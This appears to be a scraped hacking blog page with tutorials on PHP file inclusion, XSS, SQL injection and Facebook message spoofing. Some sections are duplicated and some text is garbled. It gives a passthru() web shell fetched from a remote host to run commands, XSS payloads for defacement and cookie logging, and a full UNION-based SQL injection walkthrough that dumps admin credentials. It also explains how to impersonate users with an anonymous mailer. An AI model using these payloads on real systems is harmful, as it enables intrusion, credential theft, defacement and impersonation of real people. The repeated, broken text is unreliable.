Remote/Local File Inclusion Exploits
Remote and local file inclusions are just a problem on the coding end,
like most exploits. Of course it takes a second person to make it
happen, hehe. So this paper will hopefully give you some ideas on how
to prevenet a file inclusion exploit on your website and most importantly,
in your code. I will be providing the code examples in PHP format.
Let's take a look at some code that make the RFI/LFI exploits possible.
Now obviously this should never be used. The $page input isnt sanitizedCode:<a href=index.php?page=file1.php>Files</a> <?php $page = $_GET[page]; include($page); ?>
at all. The $page input is passed directly to the damn webpage, which is
a very big no no. You should always sanitize every input passed through
the browser. When the user clicks the "Files" link on the webpage to visit
"files.php" it will look something like this.
http://localhost/index.php?page=files.php
Now, since nobody cleaned the input on the $page variable, we can
point it to anything we want. If this was hosted on a unix server we could
view the passwd, shadowed, or configuration files for the server through
that one uncleaned variable input. Viewing the filed on the server would
be a "Local File Inclusion" or LFI exploit. Which is just as if not worse
than an RFI exploit.
http://localhost/index.php?page=../..../../etc/passwd
Could possibly return the /etc/passwd. Now let's take a look at the RFI
side of this exploit. So take the same code again that we had previously.
So now let's say we typed something like...Code:<a href=index.php?page=file1.php>Files</a> <?php $page = $_GET[page]; include($page); ?>
http://localhost/index.php?page=http://google.com/
We would probably get the google.com homepage included where the
$page variable was inserted into the page originally. This is where the
coder can get ****ed, royally. We all know what the c99 shell can do,
and if coders are careful they could be included into the page, allowing
for the shell to let the user surf through sensitive files and directories at
their leisure.
Let's look at something more simple that can be included in the
webpage. A more quick and dirty way of using the RFI exploit to your
advantage. So let's make a file called "test.php" and insert the following
code into it, save it.
Now, this file is something you can use to your advantage to include intoCode:<?php passthru($_GET[cmd]); ?>
a page that has the RFI exploit on it. The passthru() command in PHP is
a very evil thing, and most hosts will have this "disabled for security
reasons". What it does is execute commands on the server. So with that
code in the test.php file we can send a request to the webpage
containing the file inclusion exploit like this.
http://localhost/index.php?page=http...t.com/test.php
And since the code is asking for a $_GET request, we will provide a
command which will be passed to the passthru() command. so now we
would have something like this.
http://localhost/index.php?page=http....com/test.php?cmd=cat /etc/passwd
Which, will use the cat command on a unix machine to reveal the
/etc/passwd file. Now that we know how to exploit the RFI exploit, we
need to know how to contain it and make it impossible for someone
remotely to execute command and include remote pages on your server.
First of all, we could disable the passthru() command, but then again
maybe something on your site uses it (but let's hope not).
But that is only one thing you could do. I recommend cleaning the inputs
like iv'e said earlier. Now, instaed of just passing the variable directly to
the page we could use several built in functions that PHP offers. chop()
which came originally from PERL, PHP has adopted. which removed
whitespaces from a string. We could use its like this.
There are many functions that can clean the string. htmlspecialchars(),Code:<a href=index.php?page=file1.php>Files</a> <?php $page = chop($_GET[page]); include($page); ?>
htmlentities(), stripslashes(), and more. I prefer using my own functions
to elimite clutter. We can build a function in PHP that cleans everything
for you, here is something i built for this tutorial, quick and easy.
Now, I hope you can see what is going on in that function, so you canCode:<?php function cleanAll($input) { $input = strip_tags($input); $input = htmlspecialchars($input); return($input); } ?>
add your own. I would suggest using the str_replace() function, and
there are plenty of other functions to clean them, be creative and stop
the madness of RFI & LFI exploits!
Showing posts with label hacking. Show all posts
Showing posts with label hacking. Show all posts
Friday, 14 December 2012
Local File Inclusion / Remote File Inclusion Guide
XSS Cross Site Scripting Tutorial
What is XSS, what can I accomplish with it?
XSS is common in search bars and comment boxes. We can then inject almost any type of programming language into the website. Whether it be Javascript, HTML or XML. XSS is mainly directed at Javascript injection. However, you can inject other languages which will be shown later.
Most people use it to display messages on the website, redirect you to their defacement and even put cookie loggers and XSS shells on the website.
What causes the vulnerability?
Poor PHP coding within text boxes and submission forms. They were too lazy to code it properly allowing us to inject strings into the source code, that would then give us the conclusion of what we put in since it's also in the source code. They did not bother to filter what we type in. They allowed characters such as ">, ", /", etc.
What types of XSS are there?
There are two types of XSS. Persistent and non-persistent. If you inject some code into the website and it sticks to the website (you leave the page and come back, and it's still there) then it is persistent. That is good. When you get non-persistent it will not stick on the website, you will only see it once. With persistent XSS you can do much more, leave messages, redirect them, etc. With non-persistent the most you can do is upload a cookie logger.
What will you be teaching today?
The basics of XSS and cookie logging.
How to test for XSS vulnerabilities.
To test if the website is vulnerable to XSS we want to go to a search box and inject some Javascript. We've found a search box and now we want to use Javascript to alert a message so we can see if the Javascript was successfully executed.
**<*script*>alert('XSS');</*script*>
(remove every * )
We now see a pop up message on our screen saying "XSS". This is what it should look like:http://img845.imageshack.us/img845/7924/xss1.png
In some cases, a message might not pop up. If it doesn't work, check the source code and have a look at the output. Most of the time the error requires you to make a little change.
"*>*<script*>alert('XSS');</*script*>
(remove every * )
Okay, we have found out that it is vulnerable. We can now move on.
How can I deface a webpage with XSS?
I will be showing you methods for persistent, and non-persistent XSS.
Persistent XSS.
First I will be starting with persistent XSS. Since it's persistent I want to redirect my victims to a deface page. We simply just inject this some more Javascript like we did before:
<*script*>window.location="*http://yourdefacepage.com/index.html";<*/script*>
(remove every * )
Remember, you can always alter the code if it doesn't work.
You can do many things with XSS, you just need all the right strings. I'm only focusing on defacing, since most people just deface sites these days.
Non-persistent XSS.
Okay. Obviously we can't redirect users with non-persistent. But with basic web-based programming knowledge we can make a cookie logger. We may also need advanced social engineering skills for people to open our cookie logger.
XSS is common in search bars and comment boxes. We can then inject almost any type of programming language into the website. Whether it be Javascript, HTML or XML. XSS is mainly directed at Javascript injection. However, you can inject other languages which will be shown later.
Most people use it to display messages on the website, redirect you to their defacement and even put cookie loggers and XSS shells on the website.
What causes the vulnerability?
Poor PHP coding within text boxes and submission forms. They were too lazy to code it properly allowing us to inject strings into the source code, that would then give us the conclusion of what we put in since it's also in the source code. They did not bother to filter what we type in. They allowed characters such as ">, ", /", etc.
What types of XSS are there?
There are two types of XSS. Persistent and non-persistent. If you inject some code into the website and it sticks to the website (you leave the page and come back, and it's still there) then it is persistent. That is good. When you get non-persistent it will not stick on the website, you will only see it once. With persistent XSS you can do much more, leave messages, redirect them, etc. With non-persistent the most you can do is upload a cookie logger.
What will you be teaching today?
The basics of XSS and cookie logging.
How to test for XSS vulnerabilities.
To test if the website is vulnerable to XSS we want to go to a search box and inject some Javascript. We've found a search box and now we want to use Javascript to alert a message so we can see if the Javascript was successfully executed.
**<*script*>alert('XSS');</*script*>
(remove every * )
We now see a pop up message on our screen saying "XSS". This is what it should look like:http://img845.imageshack.us/img845/7924/xss1.png
In some cases, a message might not pop up. If it doesn't work, check the source code and have a look at the output. Most of the time the error requires you to make a little change.
"*>*<script*>alert('XSS');</*script*>
(remove every * )
Okay, we have found out that it is vulnerable. We can now move on.
How can I deface a webpage with XSS?
I will be showing you methods for persistent, and non-persistent XSS.
Persistent XSS.
First I will be starting with persistent XSS. Since it's persistent I want to redirect my victims to a deface page. We simply just inject this some more Javascript like we did before:
<*script*>window.location="*http://yourdefacepage.com/index.html";<*/script*>
(remove every * )
Remember, you can always alter the code if it doesn't work.
You can do many things with XSS, you just need all the right strings. I'm only focusing on defacing, since most people just deface sites these days.
Non-persistent XSS.
Okay. Obviously we can't redirect users with non-persistent. But with basic web-based programming knowledge we can make a cookie logger. We may also need advanced social engineering skills for people to open our cookie logger.
Tuesday, 11 December 2012
SQL Injection Tutorial
According to Wikipedia, SQL injection is a
code injection technique that exploits a security vulnerability
occurring in the database layer of an application. The vulnerability is
present when user input is either incorrectly filtered for string
literal escape characters embedded in SQL statements or user input is
not strongly typed and thereby unexpectedly executed. It is an instance
of a more general class of vulnerabilities that can occur whenever one
programming or scripting language is embedded inside another. SQL
injection attacks are also known as SQL insertion attacks.
Let us have a look at the contents of this tutorial..
Part One - Website Assessment
- Finding a vulnerable website
- Determining the amount of columns
- Finding which columns are vulnerable
Part Two - Gathering Information
- Determining the SQL version
- Finding the database
Part Three - The Good Part
- Finding the table names
- Finding the column names
- Displaying the column contents
- Finding the admin page
Let us begin now.
Part One - Website Assessment
In order for us to start exploiting a website we must first know exactly what we are injecting into. This is what we will be covering in Part One along with how to
assess the information that we gather.
Finding a vulnerable website
Vulnerable websites can be found using dorks (I will include a list at the end of this tutorial), either in Google or with an exploit scanner. If you are unfamiliar
with the term "dorks",
Dorks are website URLs that are possibly vulnerable. In SQL injection these dorks look like this:
This will be inputted into Google's search bar and because of the "inurl:" part of the dork, the search engine will return results with URLs that contain the same
characters. Some of the sites that have this dork on their website may be vulnerable to SQL injection.
Now let's say we found the page:
In order to test this site all we need to do is add a ' either in
between the "=" sign and the "1" or after the "1" so it looks like this:
After pressing enter, if this website returns an error such as the following:
Or something similar, this means it's vulnerable to injection.
Determining the amount of columns
If we want to use commands and get results we must know how many columns there are on a website.
To find the number of columns we write a query with incrementing values until we get an error, like this:
This means that there are four columns!
DON'T FORGET TO INCLUDE THE DOUBLE NULL (--) AFTER THE QUERY.
VERY IMPORTANT!
Finding which columns are vulnerable
So we know that there are four columns now we have to find out which ones are vulnerable to injection. To do this we will use the UNION and SELECT queries while
keeping the double null (--) at the end of the string.
Don't forget to put the extra null(-) in between the "=" sign and the value (the number).
page.php?id=-1
Now after entering that query you should be able to see some numbers somewhere on the page that seem out of place. Those are the numbers of the columns that are
vulnerable to injection. We can use those columns to pull information from the database which we will see in Part Two.
Part Two - Gathering Information
In this part we will discover how to find the name of the database and what version of SQL the website is using by using queries to exploit the site.
Determining the SQL version.
Finding the version of the SQL of the website is a very important step because the steps you take for version 4 are quite different from version 5 in order to get what
you want. In this tutorial, I will not be covering version 4.
If we look back to the end of Part One we saw how to find the vulnerable columns. Using that information we can put together our next query (I will be using column 2
as an example). The command should look like this:
Because 2 is the vulnerable column, this is where we will place
"@@version". Another string that could replace "@@version" is
"version()".
If the website still does not display the version try using unhex(hex()) which looks like this:
NOTE: If this method is used here, it must be used for the rest of the injection as well.
Now what you want to see is something along these lines:
Which is the version of the SQL for the website.
NOTE: If you see version 4 and you would like to have a go at it, there are other tutorials that explain how to inject into it.
Finding the database
To find the database we use a query like the one below:
This could sometimes return more results than necessary and so that is when we switch over to this query instead:
You now have the name of the database! Congratulations. Copy and paste the name somewhere safe, we'll need it for later.
Part Three - The Good Part
This is the fun part where we will find the usernames, emails and passwords!
Finding the table names
To find the table names we use a query that is similar to the one used for finding the database with a little bit extra added on:
It may look long and confusing but once you understand it, it really
isn't so. What this query does is it "groups" (group_concat) the "table
names" (table_name)
together and gathers that information "from" (FROM) information_schema.tables where the "table schema" (table_schema) can be found in the "database" (database()).
NOTE: While using group_concat you will only be able to see 1024 characters worth of tables so if you notice that a table is cut off on the end switch over to limit
which I will explain now.
What this does is it shows the first and only the first table. So if we
were to run out of characters on let's say the 31st table we could use
this query:
Notice how my limit was 30,1 instead of 31,1? This is because when using
limit is starts from 0,1 which means that the 30th is actually the 31st
Tongue
You now have all the table names!
Finding the column names
Now that you have all of the table names try and pick out the one that you think would contain the juicy information. Usually they're tables like User(s), Admin(s),
tblUser(s) and so on but it varies between sites.
After deciding which table you think contains the information, use this query (in my example, I'll be using the table name "Admin"):
This will either give you a list of all the columns within the table or
give you an error but don't panic if it is outcome #2! All this means is
that Magic Quotes is
turned on. This can be bypassed by using a hex or char converter (they both work) to convert the normal text into char or hex.
UPDATE: If you get an error at this point all you must do is follow these steps:
1. Copy the name of the table that you are trying to access.
2. Paste the name of the table into this website where it says "Say Hello To My Little Friend".
Hex/Char Converter
http://www.swingnote.com/tools/texttohex.php
3. Click convert.
4. Copy the string of numbers/letters under Hex into your query so it looks like this:
Notice how before I pasted the hex I added a "0x", all this does is
tells the server that the following characters are part of a hex string.
You should now see a list of all the columns within the table such as username, password, and email.
NOTE: Using the limit function does work with columns as well.
Displaying the column contents
We're almost done! All we have left to do is to see what's inside those columns and use the information to login! To view the columns we need to decide which ones we
want to see and then use this query (in this example I want to view the columns "username", "password", and "email", and my database name will be "db123"). This is
where the database name comes in handy:
In this query, 0x3a is the hex value of a colon (
which will group the username:password:email for the individual users just like that.
FINALLY! Now you have the login information for the users of the site, including the admin. All you have to do now is find the admin login page which brings us to
Section Four.
Finding the admin page
Usually the admin page will be directly off of the site's home page, here are some examples:
Once again there are programs that will find the page for you but first try some of the basic guesses, it might save you a couple of clicks. If you do use a program
Reiluke has coded one for that as well. Search Admin Finder by Reiluke.
And that conlcudes my tutorial! I hope it was helpful to some of you. Remember to keep practicing and eventually you'll have all of the queries memorized in no time!
Let us have a look at the contents of this tutorial..
Part One - Website Assessment
- Finding a vulnerable website
- Determining the amount of columns
- Finding which columns are vulnerable
Part Two - Gathering Information
- Determining the SQL version
- Finding the database
Part Three - The Good Part
- Finding the table names
- Finding the column names
- Displaying the column contents
- Finding the admin page
Let us begin now.
Part One - Website Assessment
In order for us to start exploiting a website we must first know exactly what we are injecting into. This is what we will be covering in Part One along with how to
assess the information that we gather.
Finding a vulnerable website
Vulnerable websites can be found using dorks (I will include a list at the end of this tutorial), either in Google or with an exploit scanner. If you are unfamiliar
with the term "dorks",
Dorks are website URLs that are possibly vulnerable. In SQL injection these dorks look like this:
Code:
inurl:page.php?id=This will be inputted into Google's search bar and because of the "inurl:" part of the dork, the search engine will return results with URLs that contain the same
characters. Some of the sites that have this dork on their website may be vulnerable to SQL injection.
Now let's say we found the page:
Code:
http://www.thesite.com/page.php?id=1
Code:
http://www.thesite.com/page.php?id=1'
or
http://www.thesite.com/page.php?id='1
Code:
Warning: mysql_fetch_array():
supplied argument is not a valid MySQL result resource in
/home1/michafj0/public_html/gallery.php on line 5Determining the amount of columns
If we want to use commands and get results we must know how many columns there are on a website.
To find the number of columns we write a query with incrementing values until we get an error, like this:
Code:
http://www.thesite.com/page.php?id=1 ORDER BY 1-- <---No error
http://www.thesite.com/page.php?id=1 ORDER BY 2-- <---No error
http://www.thesite.com/page.php?id=1 ORDER BY 3-- <---No error
http://www.thesite.com/page.php?id=1 ORDER BY 4-- <---No error
http://www.thesite.com/page.php?id=1 ORDER BY 5-- <---ERROR!DON'T FORGET TO INCLUDE THE DOUBLE NULL (--) AFTER THE QUERY.
VERY IMPORTANT!
Finding which columns are vulnerable
So we know that there are four columns now we have to find out which ones are vulnerable to injection. To do this we will use the UNION and SELECT queries while
keeping the double null (--) at the end of the string.
Code:
http://www.thesite.com/page.php?id=-1 UNION SELECT 1,2,3,4--page.php?id=-1
Now after entering that query you should be able to see some numbers somewhere on the page that seem out of place. Those are the numbers of the columns that are
vulnerable to injection. We can use those columns to pull information from the database which we will see in Part Two.
Part Two - Gathering Information
In this part we will discover how to find the name of the database and what version of SQL the website is using by using queries to exploit the site.
Determining the SQL version.
Finding the version of the SQL of the website is a very important step because the steps you take for version 4 are quite different from version 5 in order to get what
you want. In this tutorial, I will not be covering version 4.
If we look back to the end of Part One we saw how to find the vulnerable columns. Using that information we can put together our next query (I will be using column 2
as an example). The command should look like this:
Code:
http://www.thesite.com/page.php?id=-1 UNION SELECT 1,@@version,3,4--If the website still does not display the version try using unhex(hex()) which looks like this:
Code:
http://www.thesite.com/page.php?id=-1 UNION SELECT 1,unhex(hex(@@version)),3,4--Now what you want to see is something along these lines:
Code:
5.1.44-community-logNOTE: If you see version 4 and you would like to have a go at it, there are other tutorials that explain how to inject into it.
Finding the database
To find the database we use a query like the one below:
Code:
http://www.thesite.com/page.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata--
Code:
http://www.thesite.com/page.php?id=-1 UNION SELECT 1,concat(database()),3,4--Part Three - The Good Part
This is the fun part where we will find the usernames, emails and passwords!
Finding the table names
To find the table names we use a query that is similar to the one used for finding the database with a little bit extra added on:
Code:
http://www.thesite.com/page.php?id=-1
UNION SELECT 1,group_concat(table_name),3,4 FROM
information_schema.tables WHERE table_schema=database()--together and gathers that information "from" (FROM) information_schema.tables where the "table schema" (table_schema) can be found in the "database" (database()).
NOTE: While using group_concat you will only be able to see 1024 characters worth of tables so if you notice that a table is cut off on the end switch over to limit
which I will explain now.
Code:
http://www.thesite.com/page.php?id=-1
UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE
table_schema=database() LIMIT 0,1--
Code:
http://www.thesite.com/page.php?id=-1
UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE
table_schema=database() LIMIT 30,1--You now have all the table names!
Finding the column names
Now that you have all of the table names try and pick out the one that you think would contain the juicy information. Usually they're tables like User(s), Admin(s),
tblUser(s) and so on but it varies between sites.
After deciding which table you think contains the information, use this query (in my example, I'll be using the table name "Admin"):
Code:
http://www.thesite.com/page.php?id=-1
UNION SELECT 1,group_concat(column_name),3,4 FROM
information_schema.columns WHERE table_name="Admin"--turned on. This can be bypassed by using a hex or char converter (they both work) to convert the normal text into char or hex.
UPDATE: If you get an error at this point all you must do is follow these steps:
1. Copy the name of the table that you are trying to access.
2. Paste the name of the table into this website where it says "Say Hello To My Little Friend".
Hex/Char Converter
http://www.swingnote.com/tools/texttohex.php
3. Click convert.
4. Copy the string of numbers/letters under Hex into your query so it looks like this:
Code:
http://www.thesite.com/page.php?id=-1
UNION SELECT 1,group_concat(column_name),3,4 FROM
information_schema.columns WHERE table_name=0x41646d696e--You should now see a list of all the columns within the table such as username, password, and email.
NOTE: Using the limit function does work with columns as well.
Displaying the column contents
We're almost done! All we have left to do is to see what's inside those columns and use the information to login! To view the columns we need to decide which ones we
want to see and then use this query (in this example I want to view the columns "username", "password", and "email", and my database name will be "db123"). This is
where the database name comes in handy:
Code:
http://www.thesite.com/page.php?id=-1 UNION SELECT 1,group_concat(username,0x3a,password,0x3a,email),3,4 FROM db123.Admin--FINALLY! Now you have the login information for the users of the site, including the admin. All you have to do now is find the admin login page which brings us to
Section Four.
Finding the admin page
Usually the admin page will be directly off of the site's home page, here are some examples:
Code:
http://www.thesite.com/admin
http://www.thesite.com/adminlogin
http://www.thesite.com/modlogin
http://www.thesite.com/moderatorOnce again there are programs that will find the page for you but first try some of the basic guesses, it might save you a couple of clicks. If you do use a program
Reiluke has coded one for that as well. Search Admin Finder by Reiluke.
And that conlcudes my tutorial! I hope it was helpful to some of you. Remember to keep practicing and eventually you'll have all of the queries memorized in no time!
Facebook message spoofing trick
You can send facebook messages to the inbox of some account as some other facebook user. This is what this post is all about.
Note : Please do not use it for any unethical purposes. You may joke with someone, but please do not carry out anything spiteful using this trick.
First you need information about your victim whom you want to send the message. Visit his/her facebook profile. Get his facebook email id. It should be something like somename@facebook.com
Now you need email id of the message sender's facebook account. Get it by any means possible. If the person is in your friend list, visit his info page and try to find out. If the email id is hidden, login to yahoo using your facebook account and import all your contacts and BAM! You have the email id of the sender you want to portray yourself as.
Note : The person's email id will NOT be something like somename@facebook.com
Now you have all the information you need to send a fake inbox text. All you need to do is get yourself a fake anonymous mailer/website that sends anonymous messages. An example of such a website is http://emkei.cz/
Now suppose I want to send the text as jack whose email id is jack@yahoo.com while the victim whom I want to send the text has the facebook id like erma@facebook.com
So I fill the text fields in the anonymous mailing website as follows :
From Name : jack@yahoo.com
From E-mail:jack@yahoo.com
To:erma@facebook.com
Leave the subject field blank and type the text message in its respective box.
Input the captcha image and click on Send.
And it is done now. You have successfully sent a fake text message in someone else's account.
Note : Please do not use it for any unethical purposes. You may joke with someone, but please do not carry out anything spiteful using this trick.
First you need information about your victim whom you want to send the message. Visit his/her facebook profile. Get his facebook email id. It should be something like somename@facebook.com
Now you need email id of the message sender's facebook account. Get it by any means possible. If the person is in your friend list, visit his info page and try to find out. If the email id is hidden, login to yahoo using your facebook account and import all your contacts and BAM! You have the email id of the sender you want to portray yourself as.
Note : The person's email id will NOT be something like somename@facebook.com
Now you have all the information you need to send a fake inbox text. All you need to do is get yourself a fake anonymous mailer/website that sends anonymous messages. An example of such a website is http://emkei.cz/
Now suppose I want to send the text as jack whose email id is jack@yahoo.com while the victim whom I want to send the text has the facebook id like erma@facebook.com
So I fill the text fields in the anonymous mailing website as follows :
From Name : jack@yahoo.com
From E-mail:jack@yahoo.com
To:erma@facebook.com
Leave the subject field blank and type the text message in its respective box.
Input the captcha image and click on Send.
And it is done now. You have successfully sent a fake text message in someone else's account.
Subscribe to:
Posts (Atom)